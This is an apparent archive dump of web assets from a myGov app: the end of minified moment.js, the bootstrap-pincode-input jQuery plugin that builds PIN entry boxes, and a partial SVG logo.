d[2]=t,d[3]=+e>0,d[4]=n,function(e,t,n,s,i){return i.relativeTime(t||1,!!n,e,s)}.apply(null,d)}(this,!e,t);return e&&(n=t.pastFuture(+this,n)),t.postformat(n)},jn.toISOString=Be,jn.toString=Be,jn.toJSON=Be,jn.locale=Ce,jn.localeData=Fe,jn.toIsoString=v("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",Be),jn.lang=gn,P("X",0,0,"unix"),P("x",0,0,"valueOf"),C("x",Mt),C("X",/[+-]?\d+(\.\d{1,3})?/),L("X",function(e,t,n){n._d=new Date(1e3*parseFloat(e,10))}),L("x",function(e,t,n){n._d=new Date(g(e))}),e.version="2.20.1",function(e){Qe=e}(pe),e.fn=Dn,e.min=function(){return we("isBefore",[].slice.call(arguments,0))},e.max=function(){return we("isAfter",[].slice.call(arguments,0))},e.now=function(){return Date.now?Date.now():+new Date},e.utc=l,e.unix=function(e){return pe(1e3*e)},e.months=function(e,t){return Ee(e,t,"months")},e.isDate=r,e.locale=ae,e.invalid=c,e.duration=xe,e.isMoment=_,e.weekdays=function(e,t,n){return Ie(e,t,n,"weekdays")},e.parseZone=function(){return pe.apply(null,arguments).parseZone()},e.localeData=ue,e.isDuration=Me,e.monthsShort=function(e,t){return Ee(e,t,"monthsShort")},e.weekdaysMin=function(e,t,n){return Ie(e,t,n,"weekdaysMin")},e.defineLocale=oe,e.updateLocale=function(e,t){if(null!=t){var n,s,i=Qt;null!=(s=re(e))&&(i=s._config),(n=new k(t=D(i,t))).parentLocale=Xt[e],Xt[e]=n,ae(e)}else null!=Xt[e]&&(null!=Xt[e].parentLocale?Xt[e]=Xt[e].parentLocale:null!=Xt[e]&&delete Xt[e]);return Xt[e]},e.locales=function(){return nt(Xt)},e.weekdaysShort=function(e,t,n){return Ie(e,t,n,"weekdaysShort")},e.normalizeUnits=O,e.relativeTimeRounding=function(e){return void 0===e?En:"function"==typeof e&&(En=e,!0)},e.relativeTimeThreshold=function(e,t){return void 0!==In[e]&&(void 0===t?In[e]:(In[e]=t,"s"===e&&(In.ss=t-1),!0))},e.calendarFormat=function(e,t){var n=e.diff(t,"days",!0);return n<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"},e.prototype=Dn,e.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"YYYY-[W]WW",MONTH:"YYYY-MM"},e}); /* ========================================================= * bootstrap-pincode-input.js * * ========================================================= * Created by Ferry Kranenburg * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ========================================================= */ ;(function ( $, window, document, undefined ) { "use strict"; // Create the defaults once var pluginName = "pincodeInput"; var defaults = { placeholders:undefined, // seperate with a " "(space) to set an placeholder for each input box inputs:4, // 4 input boxes = code of 4 digits long hidedigits:true, // hide digits keydown : function(e){}, change: function(input,value,inputnumber){ // callback on every input on change (keyup event) //input = the input textbox DOM element //value = the value entered by user (or removed) //inputnumber = the position of the input box (in touch mode we only have 1 big input box, so always 1 is returned here) }, blur: function(value, e, errorElement){ //value = the entered code //e = last keyup event //errorElement = error span next to to this, fill with html e.g. : $(errorElement).html("Code not correct"); }, complete : function(value, e, errorElement){ // callback when all inputs are filled in (keyup event) //value = the entered code //e = last keyup event //errorElement = error span next to this, fill with html e.g. : $(errorElement).html("Code not correct"); } }; // The actual plugin constructor function Plugin ( element, options ) { this.element = element; this.settings = $.extend( {}, defaults, options ); this._defaults = defaults; this._name = pluginName; this.init(); } // Avoid Plugin.prototype conflicts $.extend(Plugin.prototype, { init: function () { this.buildInputBoxes(); }, updateOriginalInput:function(){ var newValue = ""; $('.pincode-input-text',this._container).each(function( index, value ) { newValue += $(value).val().toString(); }); $(this.element).val(newValue); }, check: function(){ var isComplete = true; var code = ""; $('.pincode-input-text',this._container).each(function( index, value ) { code += $(value).val().toString(); if(!$(value).val()){ isComplete = false; } }); if(this._isTouchDevice()){ // check if single input has it all if(code.length == this.settings.inputs){ return true; } }else{ return isComplete; } }, buildInputBoxes: function () { this._container = $('<div />').addClass('pincode-input-container'); var currentValue = []; var placeholders = []; var touchplaceholders = ""; //in touch mode we have just 1 big input box, and there is only 1 placeholder in this case if(this.settings.placeholders){ placeholders = this.settings.placeholders.split(" "); touchplaceholders = this.settings.placeholders.replace(/ /g,""); } // If we do not hide digits, we need to include the current value of the input box // This will only work if the current value is not longer than the number of input boxes. if( this.settings.hidedigits == false && $(this.element).val() !=""){ currentValue = $(this.element).val().split(""); } // make sure this is the first password field here if(this.settings.hidedigits){ this._pwcontainer = $('<div />').css("display", "none").appendTo(this._container); this._pwfield = $('<input>').attr({'type':'password','pattern': "[0-9]*", 'inputmode':"numeric",'id':'preventautofill','autocomplete':'off'}).appendTo(this._pwcontainer); } if(this._isTouchDevice()){ // set main class $(this._container).addClass("touch"); // For touch devices we build a html table directly under the pincode textbox. The textbox will become transparent // This table is used for styling only, it will display how many 'digits' the user should fill in. // With CSS letter-spacing we try to put every digit visually insize each table cell. var wrapper = $('<div />').addClass('touchwrapper touch'+this.settings.inputs).appendTo(this._container); var input = $('<input>').attr({'id':'pincode-input','type':'number','pattern': "[0-9]*", 'placeholder':touchplaceholders, 'inputmode':"numeric",'maxlength':this.settings.inputs,'autocomplete':'off', 'data-pin':'data-pin'}).addClass('form-control pincode-input-text conceal').appendTo(wrapper); var touchtable = $('<table>').addClass('touchtable').appendTo(wrapper); var row = $('<tr/>').appendTo(touchtable); // create touch background elements (for showing user how many digits must be entered) for (var i = 0; i < this.settings.inputs; i++) { if(i == (this.settings.inputs-1)){ $('<td/>').addClass('last').appendTo(row); }else{ $('<td/>').appendTo(row); } } if(this.settings.hidedigits){ // hide digits input.attr('type','tel'); }else{ // show digits, also include default value input.val(currentValue[i]); } // add events this._addEventsToInput(input,1); }else{ // for desktop mode we build one input for each digit for (var i = 0; i < this.settings.inputs; i++) { var input = $('<input>').attr({'id':'pincode-input','type':'text','maxlength':"1",'autocomplete':'off','placeholder':(placeholders[i] ? placeholders[i] : undefined)}).addClass('form-control pincode-input-text conceal').appendTo(this._container); if(this.settings.hidedigits) { // hide digits input.attr('type','tel'); }else{ // show digits, also include default value input.val(currentValue[i]); } if(i==0){ input.addClass('first'); }else if(i==(this.settings.inputs-1)){ input.addClass('last'); }else{ input.addClass('mid'); } // add events this._addEventsToInput(input,(i+1)); } } // error box this._error = $('<div />').addClass('text-danger pincode-input-error').appendTo(this._container); //hide original element and place this before it $(this.element).css( "display", "none" ); this._container.insertBefore(this.element); }, enable:function(){ $('.pincode-input-text',this._container).each(function( index, value ) { $(value).prop('disabled', false); }); }, disable:function(){ $('.pincode-input-text',this._container).each(function( index, value ) { $(value).prop('disabled', true); }); }, focus:function(){ $('.pincode-input-text',this._container).first().select().focus(); }, clear:function(){ $('.pincode-input-text',this._container).each(function( index, value ) { $(value).val(""); }); this.updateOriginalInput(); }, _isTouchDevice:function(){ // I know, sniffing is a really bad idea, but it works 99% of the times if( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) { return true; } }, _addEventsToInput:function(input,inputnumber){ input.on('click', function (e) { var that = this; setTimeout(function(){ that.selectionStart = that.selectionEnd = 10000; }, 0); }); //input.on('focus',function(e){ // //this.select(); //automatically select current value //}); input.on('cut copy paste',function(e){ e.preventDefault(); e.stopPropagation(); }); input.on('blur', $.proxy(function(e){ this.settings.blur($(this.e).val(), e, this._error); //Validate if the pin is empty or less than 4 digits. if (formHelper.isEmpty($(this.element).val())) { formHelper.setError($(e.currentTarget), 'Your PIN must contain 4 numbers'); return false; } else if($(this.element).val().length < this.settings.inputs){ formHelper.setError($(e.currentTarget), 'Your PIN must contain 4 numbers'); return false; }else { formHelper.clearError($(e.currentTarget)); return true; } },this)); input.on('keydown', $.proxy(function(e){ if(this._pwfield){ // Because we need to prevent password saving by browser // remove the value here and change the type! // we do this every time the user types $(this._pwfield).attr({'type':'text'}); $(this._pwfield).val(""); } // prevent more input for touch device (we can't limit it) if(this._isTouchDevice()){ if(e.keyCode == 8 || e.keyCode == 46){ // do nothing on backspace and delete }else{ //console.log("$(this.element).val().length" + $(this.element).val().length); //console.log("this.settings.inputs" + this.settings.inputs); if($(this.element).val().length == this.settings.inputs){ e.preventDefault(); e.stopPropagation(); } } }else{ // in desktop mode, check if an number was entered if( !(e.keyCode == 8 // backspace key || e.keyCode == 9 // tab key || e.keyCode == 46 // delete key || (e.keyCode >= 48 && e.keyCode <= 57) // numbers on keyboard || (e.keyCode >= 96 && e.keyCode <= 105)) // number on keypad ) { e.preventDefault(); // Prevent character input e.stopPropagation(); } } this.settings.keydown(e); },this)); // input.on('blur', $.proxy(function(e) { // if(!this._isTouchDevice()) { // if (e != null && $(e).val()) { // console.log("not null" + $(e).val()); // $("#tstspan").text($(e).val()); // pinCreation.validate($(this)); // } // } // }; input.on('keyup', $.proxy(function(e){ // after every keystroke we check if all inputs have a value, if yes we call complete callback if(!this._isTouchDevice()){ // on backspace or delete go to previous input box if(e.keyCode == 8 || e.keyCode == 46){ // goto previous $(e.currentTarget).prev().select(); $(e.currentTarget).prev().focus(); }else{ if($(e.currentTarget).val()!=""){ $(e.currentTarget).next().select(); $(e.currentTarget).next().focus(); } } } // update original input box this.updateOriginalInput(); // oncomplete check if(this.check()){ this.settings.complete($(this.element).val(), e, this._error); } //onchange event for each input if(this.settings.change){ this.settings.change(e.currentTarget,$(e.currentTarget).val(),inputnumber); } // prevent more input for touch device (we can't limit it) if(this._isTouchDevice()){ if(e.keyCode == 8 || e.keyCode == 46){ // do nothing on backspace and delete }else{ if($(this.element).val().length == this.settings.inputs){ $(e.currentTarget).blur(); //$(e.currentTarget).focus(); } } if($(this.element).val().length > 0){ //$(this.element).val($(this.element).val().toString().replace(/[^0-9]/g, '')); var newLineCheck = $(this.element).val().toString().replace(/\r?\n|\r/g, ''); $('.pincode-input-text',this._container).each(function( index, value ) { $(value).val(newLineCheck); }); this.updateOriginalInput(); } } },this)); } }); // A really lightweight plugin wrapper around the constructor, // preventing against multiple instantiations $.fn[ pluginName ] = function ( options ) { return this.each(function() { if ( !$.data( this, "plugin_" + pluginName ) ) { $.data( this, "plugin_" + pluginName, new Plugin( this, options ) ); } }); }; })( jQuery, window, document ); mygov/app/sms_files/myGov-cobranded-logo-black.svg000064400000175217151676702570016257 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#231f20;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" 